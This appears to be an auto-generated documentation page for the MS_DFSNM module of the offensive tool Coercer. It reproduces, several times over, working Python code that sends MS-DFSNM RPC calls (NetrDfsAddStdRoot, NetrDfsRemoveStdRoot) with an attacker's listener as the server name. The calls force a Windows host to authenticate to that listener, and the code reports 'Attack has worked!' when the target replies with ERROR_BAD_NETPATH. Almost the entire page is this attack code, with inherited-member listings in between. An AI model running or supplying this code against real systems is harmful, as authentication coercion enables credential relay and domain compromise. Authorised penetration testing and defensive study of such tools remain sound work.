coercer.protocols.MS_DFSNM
1#!/usr/bin/env python3 2# -*- coding: utf-8 -*- 3# File name : MS_DFSNM.py 4# Author : Podalirius (@podalirius_) 5# Date created : 6 Jul 2022 6 7 8import sys 9import time 10import random 11from coercer.utils.RPCProtocol import RPCProtocol, DCERPCSessionError 12from impacket.dcerpc.v5.ndr import NDRCALL 13from impacket.dcerpc.v5.dtypes import WSTR, DWORD 14 15 16def gen_random_name(length=8): 17 alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" 18 name = "" 19 for k in range(length): 20 name += random.choice(alphabet) 21 return name 22 23 24class NetrDfsAddStdRoot(NDRCALL): 25 opnum = 12 26 structure = ( 27 ('ServerName', WSTR), # Type: WCHAR * 28 ('RootShare', WSTR), # Type: WCHAR * 29 ('Comment', WSTR), # Type: WCHAR * 30 ('ApiFlags', DWORD), # Type: DWORD 31 ) 32 33 34class NetrDfsAddStdRootResponse(NDRCALL): 35 structure = () 36 37 38class NetrDfsRemoveStdRoot(NDRCALL): 39 opnum = 13 40 structure = ( 41 ('ServerName', WSTR), # Type: WCHAR * 42 ('RootShare', WSTR), # Type: WCHAR * 43 ('ApiFlags', DWORD) # Type: DWORD 44 ) 45 46 47class NetrDfsRemoveStdRootResponse(NDRCALL): 48 structure = () 49 50 51class MS_DFSNM(RPCProtocol): 52 name = "[MS-DFSNM]: Distributed File System (DFS): Namespace Management Protocol" 53 shortname = "MS-DFSNM" 54 uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673" 55 version = "3.0" 56 available_pipes = [r"\PIPE\netdfs"] 57 58 def NetrDfsRemoveStdRoot(self, listener, max_retries=3): 59 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/e9da023d-554a-49bc-837a-69f22d59fd18 60 # Finding credits: @filip_dragovic 61 call_name, call_opnum = "NetrDfsRemoveStdRoot", 13 62 if self.dce is not None: 63 tries = 0 64 while tries <= max_retries: 65 tries += 1 66 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 67 sys.stdout.flush() 68 try: 69 request = NetrDfsRemoveStdRoot() 70 request['ServerName'] = '%s\x00' % listener 71 request['RootShare'] = gen_random_name() + '\x00' 72 request['ApiFlags'] = 0 73 if self.debug: 74 request.dump() 75 self.dce.request(request) 76 except Exception as e: 77 if "ERROR_INVALID_NAME" in str(e): 78 # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect. 79 print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...") 80 time.sleep(20) 81 elif "ERROR_BAD_NETPATH" in str(e): 82 # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found. 83 print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m") 84 return True 85 elif "rpc_s_access_denied" in str(e): 86 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 87 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 88 return False 89 elif self.debug: 90 print(" [!]", e) 91 else: 92 if self.verbose: 93 print(" [!] Error: dce is None, you must call connect() first.") 94 95 def NetrDfsAddStdRoot(self, listener, max_retries=3): 96 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/b18ef17a-7a9c-4e22-b1bf-6a4d07e87b2d 97 # Finding credits: @filip_dragovic 98 call_name, call_opnum = "NetrDfsAddStdRoot", 12 99 if self.dce is not None: 100 tries = 0 101 while tries <= max_retries: 102 tries += 1 103 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 104 sys.stdout.flush() 105 try: 106 request = NetrDfsAddStdRoot() 107 request['ServerName'] = '%s\x00' % listener 108 request['RootShare'] = gen_random_name() + '\x00' 109 request['Comment'] = gen_random_name() + '\x00' 110 request['ApiFlags'] = 0 111 if self.debug: 112 request.dump() 113 self.dce.request(request) 114 except Exception as e: 115 if "ERROR_INVALID_NAME" in str(e): 116 # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect. 117 print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...") 118 time.sleep(20) 119 elif "ERROR_BAD_NETPATH" in str(e): 120 # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found. 121 print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m") 122 return True 123 elif "rpc_s_access_denied" in str(e): 124 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 125 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 126 return False 127 elif self.debug: 128 print(" [!]", e) 129 else: 130 if self.verbose: 131 print(" [!] Error: dce is None, you must call connect() first.") 132 133 @classmethod 134 def list_coerce_methods(cls): 135 return [ 136 ("NetrDfsAddStdRoot", 12, None), 137 ("NetrDfsRemoveStdRoot", 13, None) 138 ] 139 140 def perform_coerce_calls(self, listener): 141 self.NetrDfsAddStdRoot(listener) 142 self.NetrDfsRemoveStdRoot(listener)
def
gen_random_name(length=8):
class
NetrDfsAddStdRoot(impacket.dcerpc.v5.ndr.NDRCALL):
25class NetrDfsAddStdRoot(NDRCALL): 26 opnum = 12 27 structure = ( 28 ('ServerName', WSTR), # Type: WCHAR * 29 ('RootShare', WSTR), # Type: WCHAR * 30 ('Comment', WSTR), # Type: WCHAR * 31 ('ApiFlags', DWORD), # Type: DWORD 32 )
This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type
Inherited Members
- impacket.dcerpc.v5.ndr.NDRCALL
- NDRCALL
- dump
- getData
- fromString
- impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
- isPointer
- isUnion
- getDataReferents
- getDataReferent
- calcPackSize
- getArrayMaximumSize
- getArraySize
- fromStringReferents
- fromStringReferent
- calcUnPackSize
- impacket.dcerpc.v5.ndr.NDR
- changeTransferSyntax
- getDataLen
- isNDR
- dumpRaw
- getAlignment
- calculatePad
- pack
- unpack
class
NetrDfsAddStdRootResponse(impacket.dcerpc.v5.ndr.NDRCALL):
This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type
Inherited Members
- impacket.dcerpc.v5.ndr.NDRCALL
- NDRCALL
- dump
- getData
- fromString
- impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
- isPointer
- isUnion
- getDataReferents
- getDataReferent
- calcPackSize
- getArrayMaximumSize
- getArraySize
- fromStringReferents
- fromStringReferent
- calcUnPackSize
- impacket.dcerpc.v5.ndr.NDR
- changeTransferSyntax
- getDataLen
- isNDR
- dumpRaw
- getAlignment
- calculatePad
- pack
- unpack
class
NetrDfsRemoveStdRoot(impacket.dcerpc.v5.ndr.NDRCALL):
39class NetrDfsRemoveStdRoot(NDRCALL): 40 opnum = 13 41 structure = ( 42 ('ServerName', WSTR), # Type: WCHAR * 43 ('RootShare', WSTR), # Type: WCHAR * 44 ('ApiFlags', DWORD) # Type: DWORD 45 )
This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type
Inherited Members
- impacket.dcerpc.v5.ndr.NDRCALL
- NDRCALL
- dump
- getData
- fromString
- impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
- isPointer
- isUnion
- getDataReferents
- getDataReferent
- calcPackSize
- getArrayMaximumSize
- getArraySize
- fromStringReferents
- fromStringReferent
- calcUnPackSize
- impacket.dcerpc.v5.ndr.NDR
- changeTransferSyntax
- getDataLen
- isNDR
- dumpRaw
- getAlignment
- calculatePad
- pack
- unpack
class
NetrDfsRemoveStdRootResponse(impacket.dcerpc.v5.ndr.NDRCALL):
This will be the base class for all DCERPC NDR Types and represents a NDR Primitive Type
Inherited Members
- impacket.dcerpc.v5.ndr.NDRCALL
- NDRCALL
- dump
- getData
- fromString
- impacket.dcerpc.v5.ndr.NDRCONSTRUCTEDTYPE
- isPointer
- isUnion
- getDataReferents
- getDataReferent
- calcPackSize
- getArrayMaximumSize
- getArraySize
- fromStringReferents
- fromStringReferent
- calcUnPackSize
- impacket.dcerpc.v5.ndr.NDR
- changeTransferSyntax
- getDataLen
- isNDR
- dumpRaw
- getAlignment
- calculatePad
- pack
- unpack
52class MS_DFSNM(RPCProtocol): 53 name = "[MS-DFSNM]: Distributed File System (DFS): Namespace Management Protocol" 54 shortname = "MS-DFSNM" 55 uuid = "4fc742e0-4a10-11cf-8273-00aa004ae673" 56 version = "3.0" 57 available_pipes = [r"\PIPE\netdfs"] 58 59 def NetrDfsRemoveStdRoot(self, listener, max_retries=3): 60 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/e9da023d-554a-49bc-837a-69f22d59fd18 61 # Finding credits: @filip_dragovic 62 call_name, call_opnum = "NetrDfsRemoveStdRoot", 13 63 if self.dce is not None: 64 tries = 0 65 while tries <= max_retries: 66 tries += 1 67 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 68 sys.stdout.flush() 69 try: 70 request = NetrDfsRemoveStdRoot() 71 request['ServerName'] = '%s\x00' % listener 72 request['RootShare'] = gen_random_name() + '\x00' 73 request['ApiFlags'] = 0 74 if self.debug: 75 request.dump() 76 self.dce.request(request) 77 except Exception as e: 78 if "ERROR_INVALID_NAME" in str(e): 79 # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect. 80 print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...") 81 time.sleep(20) 82 elif "ERROR_BAD_NETPATH" in str(e): 83 # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found. 84 print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m") 85 return True 86 elif "rpc_s_access_denied" in str(e): 87 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 88 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 89 return False 90 elif self.debug: 91 print(" [!]", e) 92 else: 93 if self.verbose: 94 print(" [!] Error: dce is None, you must call connect() first.") 95 96 def NetrDfsAddStdRoot(self, listener, max_retries=3): 97 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/b18ef17a-7a9c-4e22-b1bf-6a4d07e87b2d 98 # Finding credits: @filip_dragovic 99 call_name, call_opnum = "NetrDfsAddStdRoot", 12 100 if self.dce is not None: 101 tries = 0 102 while tries <= max_retries: 103 tries += 1 104 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 105 sys.stdout.flush() 106 try: 107 request = NetrDfsAddStdRoot() 108 request['ServerName'] = '%s\x00' % listener 109 request['RootShare'] = gen_random_name() + '\x00' 110 request['Comment'] = gen_random_name() + '\x00' 111 request['ApiFlags'] = 0 112 if self.debug: 113 request.dump() 114 self.dce.request(request) 115 except Exception as e: 116 if "ERROR_INVALID_NAME" in str(e): 117 # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect. 118 print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...") 119 time.sleep(20) 120 elif "ERROR_BAD_NETPATH" in str(e): 121 # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found. 122 print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m") 123 return True 124 elif "rpc_s_access_denied" in str(e): 125 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 126 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 127 return False 128 elif self.debug: 129 print(" [!]", e) 130 else: 131 if self.verbose: 132 print(" [!] Error: dce is None, you must call connect() first.") 133 134 @classmethod 135 def list_coerce_methods(cls): 136 return [ 137 ("NetrDfsAddStdRoot", 12, None), 138 ("NetrDfsRemoveStdRoot", 13, None) 139 ] 140 141 def perform_coerce_calls(self, listener): 142 self.NetrDfsAddStdRoot(listener) 143 self.NetrDfsRemoveStdRoot(listener)
Documentation for class RPCProtocol
def
NetrDfsRemoveStdRoot(self, listener, max_retries=3):
59 def NetrDfsRemoveStdRoot(self, listener, max_retries=3): 60 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/e9da023d-554a-49bc-837a-69f22d59fd18 61 # Finding credits: @filip_dragovic 62 call_name, call_opnum = "NetrDfsRemoveStdRoot", 13 63 if self.dce is not None: 64 tries = 0 65 while tries <= max_retries: 66 tries += 1 67 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 68 sys.stdout.flush() 69 try: 70 request = NetrDfsRemoveStdRoot() 71 request['ServerName'] = '%s\x00' % listener 72 request['RootShare'] = gen_random_name() + '\x00' 73 request['ApiFlags'] = 0 74 if self.debug: 75 request.dump() 76 self.dce.request(request) 77 except Exception as e: 78 if "ERROR_INVALID_NAME" in str(e): 79 # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect. 80 print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...") 81 time.sleep(20) 82 elif "ERROR_BAD_NETPATH" in str(e): 83 # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found. 84 print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m") 85 return True 86 elif "rpc_s_access_denied" in str(e): 87 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 88 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 89 return False 90 elif self.debug: 91 print(" [!]", e) 92 else: 93 if self.verbose: 94 print(" [!] Error: dce is None, you must call connect() first.")
def
NetrDfsAddStdRoot(self, listener, max_retries=3):
96 def NetrDfsAddStdRoot(self, listener, max_retries=3): 97 # Microsoft docs: https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dfsnm/b18ef17a-7a9c-4e22-b1bf-6a4d07e87b2d 98 # Finding credits: @filip_dragovic 99 call_name, call_opnum = "NetrDfsAddStdRoot", 12 100 if self.dce is not None: 101 tries = 0 102 while tries <= max_retries: 103 tries += 1 104 print(" [>] On '\x1b[93m%s\x1b[0m' through '%s' targeting '\x1b[94m%s::%s\x1b[0m' (opnum %d) ... " % (self.target, self.pipe, self.shortname, call_name, call_opnum), end="") 105 sys.stdout.flush() 106 try: 107 request = NetrDfsAddStdRoot() 108 request['ServerName'] = '%s\x00' % listener 109 request['RootShare'] = gen_random_name() + '\x00' 110 request['Comment'] = gen_random_name() + '\x00' 111 request['ApiFlags'] = 0 112 if self.debug: 113 request.dump() 114 self.dce.request(request) 115 except Exception as e: 116 if "ERROR_INVALID_NAME" in str(e): 117 # SessionError: code: 0x7b - ERROR_INVALID_NAME - The filename, directory name, or volume label syntax is incorrect. 118 print("\x1b[1;91mERROR_INVALID_NAME\x1b[0m retrying in 20 seconds ...") 119 time.sleep(20) 120 elif "ERROR_BAD_NETPATH" in str(e): 121 # SessionError: code: 0x35 - ERROR_BAD_NETPATH - The network path was not found. 122 print("\x1b[1;92mERROR_BAD_NETPATH (Attack has worked!)\x1b[0m") 123 return True 124 elif "rpc_s_access_denied" in str(e): 125 # DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied 126 print("\x1b[1;92mrpc_s_access_denied (Attack should have worked!)\x1b[0m") 127 return False 128 elif self.debug: 129 print(" [!]", e) 130 else: 131 if self.verbose: 132 print(" [!] Error: dce is None, you must call connect() first.")